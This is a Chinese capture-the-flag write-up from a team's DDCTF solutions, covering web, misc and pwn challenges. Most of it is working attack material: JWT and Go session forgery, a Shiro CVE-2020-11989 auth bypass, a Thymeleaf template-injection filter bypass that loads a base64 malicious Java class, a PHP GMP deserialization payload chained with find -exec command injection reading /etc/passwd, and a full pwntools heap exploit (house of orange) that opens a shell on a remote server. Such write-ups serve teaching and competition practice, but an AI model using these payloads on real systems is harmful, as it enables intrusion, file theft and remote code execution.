WEB
Web签到题
解题思路
先是jwt爆破 ./john jwt.txt 发现 secretkey就是输入的 pwd,所以进行伪造
const jwt=require('jsonwebtoken');
const userName='admin';
const pwd='123456';
const userRole= "ADMIN"
const exp=1599277264
console.log(jwt.sign({userName,pwd,userRole,exp}, "123456", {algorithm: 'HS256'}))
得到client路径 运行 后 用 wireshark看到发送的包内容
命令|时间 加密 逆向之后 , 用hmac sha256密钥就是DDCTFWithYou
然后base64编码 ,然后正常的bash命令不行
123.class 知道是java命令执行
和de1tactf calc 类似,不能用 forName,直接网上找用new 执行的 ,https://www.gem-love.com/ctf/2302.html#calc
new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader(new java.io.File('/home/dc2-user/flag/flag.txt')))).nextLine()
import hmac
import base64
from hashlib import sha256
import time
t=int(time.time())
cmd="new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader(new java.io.File('/home/dc2-user/flag/flag.txt')))).nextLine()"
key = "DDCTFWithYou"
data = "%s|%s"%(cmd,(str(t)).encode())
enc = base64.b64encode(hmac.new(key, data, digestmod=sha256).digest())
import requests
session = requests.session()
burp0_url = "http://117.51.136.197:80/server/command"
burp0_json={"command": "{}".format(cmd), "signature": enc, "timestamp": t}
r=session.post(burp0_url, json=burp0_json)
print(r.text)
卡片商店
解题思路
看这session 是go了
go有的常见的是整形溢出,将借的卡和还的卡放入session里面,处理完应该是还的卡溢出值变小
借2**32+1 就是4294967296 ,然后只要还 2 ,等到时间到还卡,就可以买到gift了
得到 secretkey Udc13VD5adM_c10nPxFu@v12和 flag路径
然后就是 go sesion 伪造
有现成的工具 https://github.com/EddieIvan01/secure-cookie-faker secure-cookie-faker
session 原本解出来是一大窜的,发现 有个 admin:false 所以直接伪造一个 admin:true 把其他东西去掉,发现可以,名字是 session -n "session"
./secure-cookie-faker enc -n "session" -k "Udc13VD5adM_c10nPxFu@v12" -o "{admin:true[bool]}"
得到
MTU5OTE5NzYzOHxFXy1CQkFFQkEwOWlhZ0hfZ2dBQkVBRVFBQUFkXzRJQUFRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0RVltOXZiQUlDQUFFPXzFLyQG7JDNJvz48NLachsMs_KzbiRrC00MouKotDCITw==
伪造session 访问flag
得到flag
Easy Web
解题思路
cve-2020-11989 绕过shiro 34867ccfda85234382210155be32525c/;/web/index看到 img?img=static/hello.jpg
文件读取 WEB-INF/web.xml , spring-core.xml spring-web.xml 然后把com/ctf/controller/IndexController 等等查看import 把代码 爬下来
spring-shiro.xml
com.ctf.auth.FilterChainDefinitionMapBuilder
看到map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
/;/web/68759c96217a32d5b368ad2965f625ef/index
之前爬了 templates/index.html 看到了 [[$name]] ,是thymeleaf
[[${123.class}]]
有SSTI
由于com.ctf.util.SafeFilter的原因 ban了很多,看到 "\.forName.*\("
这个 只要 '.' 和forName 之间加个空格就可以绕过, 单引号和双引号都不能用,
查看thymeleaf文档 ,发现 有个 param.xxx 这样的操作,可以通过这个绕过 引号,构造字符
传入的参数因为也会过滤,所以 可以用 new String(param.a).concat(param.b) 这样来进行字符串拼接,传入 a,b参数。
https://landgrey.me/blog/15/给了一个方法加载恶意类,然后进行方法调用
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
Runtime啥的一放上去就报错了
用列举目录+查看文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.List;
public class Singleton15 {
public static List<String> aaa(String file) throws Exception {
List<String> a = Files.readAllLines(Paths.get(file));
return a;
}
public static HashMap bbb(String b) throws Exception {
File dir = new File(b);
String[] children = dir.list();
HashMap hashMap=new HashMap();
for (int i=0; i< children.length; i++) {
String filename = children[i];
hashMap.put(filename,filename);
}
return hashMap;
}
}
然后生成成字节码的形式javac 再加base64, d=com.sun.org.apa&e=che.xml.internal.security.utils.Base64 把 base64解码了
a=org.spr&b=ingframework.cglib.core.ReflectUtils 这就绕过 org.springframeork
,aaa()看文件 bbb()列目录
content=[[ ${123.class. forName ( new String(param.a).concat(param.b) ).defineClass(new String(param.c),123.class. forName ( new String(param.d).concat(param.e) ).decode(new String(param.f)),123.class. forName ( new String(param.g).concat(param.h) ).getDefaultClassLoader())} ]]
?a=org.spr&b=ingframework.cglib.core.ReflectUtils&c=Singleton15&d=com.sun.org.apa&e=che.xml.internal.security.utils.Base64&f=yv66vgAAADQAOgoADAAgBwAhCgAiACMKACQAJQcAJgoABQAnCgAFACgHACkKAAgAIAoACAAqBwArBwAsAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAA2FhYQEAJChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9MaXN0OwEACkV4Y2VwdGlvbnMHAC0BAAlTaWduYXR1cmUBADgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL1N0cmluZzs%2bOwEAA2JiYgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9IYXNoTWFwOwEADVN0YWNrTWFwVGFibGUHACEHACYHAC4HACkBAApTb3VyY2VGaWxlAQAQU2luZ2xldG9uMTUuamF2YQwADQAOAQAQamF2YS9sYW5nL1N0cmluZwcALwwAMAAxBwAyDAAzADQBAAxqYXZhL2lvL0ZpbGUMAA0ANQwANgA3AQARamF2YS91dGlsL0hhc2hNYXAMADgAOQEAC1NpbmdsZXRvbjE1AQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxMaW5lcwEAJihMamF2YS9uaW8vZmlsZS9QYXRoOylMamF2YS91dGlsL0xpc3Q7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEbGlzdAEAFSgpW0xqYXZhL2xhbmcvU3RyaW5nOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEACwAMAAAAAAADAAEADQAOAAEADwAAAB0AAQABAAAABSq3AAGxAAAAAQAQAAAABgABAAAADAAJABEAEgADAA8AAAAqAAIAAgAAAA4qA70AArgAA7gABEwrsAAAAAEAEAAAAAoAAgAAABAADAARABMAAAAEAAEAFAAVAAAAAgAWAAkAFwAYAAIADwAAAIoAAwAGAAAAN7sABVkqtwAGTCu2AAdNuwAIWbcACU4DNgQVBCy%2bogAYLBUEMjoFLRkFGQW2AApXhAQBp//nLbAAAAACABAAAAAiAAgAAAAVAAkAFgAOABcAFgAYACAAGQAmABoALwAYADUAHAAZAAAAGQAC/wAZAAUHABoHABsHABwHAB0BAAD6ABsAEwAAAAQAAQAUAAEAHgAAAAIAHw%3d%3d&g=org.springfram&h=ework.util.ClassUtils
加载了恶意类
列目录:
content=[[ ${T(Singleton15).bbb(new String(param.a))} ]]?a=/
看到 flag_is_here
读文件
content=[[ ${T(Singleton15).aaa(new String(param.a))} ]]?a=/flag_is_here
overwrite
解题思路
看hint/hint.php 得到前半部分 DDCTF{VgQN6HXC2moDAq39
题目显示后半部分在 /HackersForever/suffix_flag.php里面
然后就是gmp反序列化漏洞 安全客先知有文章
用5.6-5.6.11 通用的
a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}
因为myclass是第4个new的,所以、
s:1:"4";a:2:{s:4:"flag";s:2:"./";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;} 改成 s:1:"4"
就可以列目录。
$inner='s:1:"4";a:2:{s:4:"flag";s:2:"./";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
echo $exploit;
因为是find 命令, find有一个命令注入 本地这个样子
$a='-name /etc -or -exec cat /etc/passwd ; -quit';
system('find /etc ' . escapeshellcmd($a));
所以可以执行命令 ,读/HackersForever/suffix_flag.php
修改 GMP":这个长度和后面的 flag的内容
/atkPWsr2x3omRZFi.php?bullet=a:1:{i:0;C:3:"GMP":137:{s:1:"4";a:2:{s:4:"flag";s:65:"-name+/flag+-or+-exec+cat+/HackersForever/suffix_flag.php+%3b+-quit";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}
得到后半部分flag
拼起来就是答案
Misc
一起拼图吗
解题思路
因为图片大小不算很小,肉眼能够识别,所以可以找到含有字符的图片然后提取出来,并且这种图片并不多,可以手工组合,然后有足够的清晰度,完全可以肉眼识别
Pwn
we love free
解题思路
就很麻烦的一道题。漏洞是UAF和能修改chunk的size位。首先就修改0x50的chunk的size为0x110,这样就可以和0x90的chunk造成overlap。刚好这一题是先malloc之后再free,所以这个刚刚好能控制unsorted bin. 最后采用的是house of orange的做法。但是house of orange构造好之后会因为free之后的chunk的next_size导致mode>0.最后在这里想了很久,发现源码里面可以让mode>0,只需要控制好_wide_data就可以了。
from PwnContext import *
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, 'x00'))
uu64 = lambda data :u64(data.ljust(8, 'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'pwn1'
libc=ELF("./libc-2.23.so")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('117.51.143.25',5005)
p=rs('remote')
return p
def debug():
if(local==1):
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.debug()
chunk=4
def menu(index):
sla(">>",index)
def create(size):
global chunk
menu(1)
sla("Input your num:",size)
chunk=chunk+1
def show():
global chunk
menu(2)
for i in range(chunk):
sla("Edit (y/n):",'n')
chunk=chunk+1
def edit(index,content):
menu(2)
for i in range(chunk):
if i==index:
sla("Edit (y/n):",'y')
sl(content)
else:
sla("Edit (y/n):",'n')
def free():
menu(3)
choice()
for i in range(2):
create(0x10)
menu(2)
ru("1:")
heap_base=int(ctx.recvline().replace("n",""),10)
leak("heap_base",heap_base)
#pause()
for i in range(6):
sla("Edit (y/n):",'n')
for i in range(0xd):
create(0)
menu(2)
ru("1:")
libc_base=int(ctx.recvline().replace("n",""),10)-(0x7ffff7839b78-0x7ffff7475000)
leak("libc_base",libc_base)
for i in range(34):
sla("Edit (y/n):",'n')
menu(2)
sla("Edit (y/n):",'y')
sl(str(0))
sla("Edit (y/n):",'y')
sl(0x41)
sla("Edit (y/n):",'y')
sl(str(0))
sla("Edit (y/n):",'y')
sl(0x41)
sla("Edit (y/n):",'y')
sl(str(0xffffffffffffffff))
sla("Edit (y/n):",'y')
sl(0x41)
sla("Edit (y/n):",'y')
sl(str(0))
sla("Edit (y/n):",'y')
sl(heap_base+0x100+0x10)
for i in range(4):
sla("Edit (y/n):",'y')
sl(str(0xffffffffffffffff))
sla("Edit (y/n):",'y')
sl(0x41)
sla("Edit (y/n):",'y')
sl(str(0x41))
for i in range(0x20):
create(0x41)
free()
create(0x90)
menu(2)
#pause()
for i in range(5):
sla("Edit (y/n):",'n')
menu(2)
for i in range(6):
sla("Edit (y/n):",'y')
sl(0x51)
create(0x99)
menu(2)
for i in range(4):
sla("Edit (y/n):",'n')
sla("Edit (y/n):",'y')
sl(0x41)
sla("Edit (y/n):",'y')
sl(0x111)
for i in range(4):
sla("Edit (y/n):",'y')
sl(0)
for i in range(3):
create(0x111)
menu(2)
for i in range(8):
sla("Edit (y/n):",'n')
sla("Edit (y/n):",'y')
sl(0x0)
sla("Edit (y/n):",'y')
sl(0x121)
for i in range(8):
sla("Edit (y/n):",'n')
for i in range(7):
create(0x111)
create(0xff)
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
fake_file='/bin/shx00'+p64(0x61)
fake_file+=p64(heap_base)+p64(_IO_list_all-0x10)
fake_file+=p64(2)+p64(3)
fake_file+=p64(0)+p64(0)
fake_file=fake_file.ljust(0xd8,"x00")
fake_file+=p64(libc_base+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.symbols['system'])
menu(2)
for i in range(8):
sla("Edit (y/n):",'y')
sl(0)
for i in range(0,64+8,8):
sla("Edit (y/n):",'y')
sl(uu64(fake_file[i:i+8]))
create(0)
create(2)
create(3)
create((libc_base+libc.symbols['system']))
for i in range(4):
create(0)
create(2)
create(3)
create((heap_base+0x130))
create((0))
create(0)
create(0)
#debug()
menu(2)
irt()
end
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论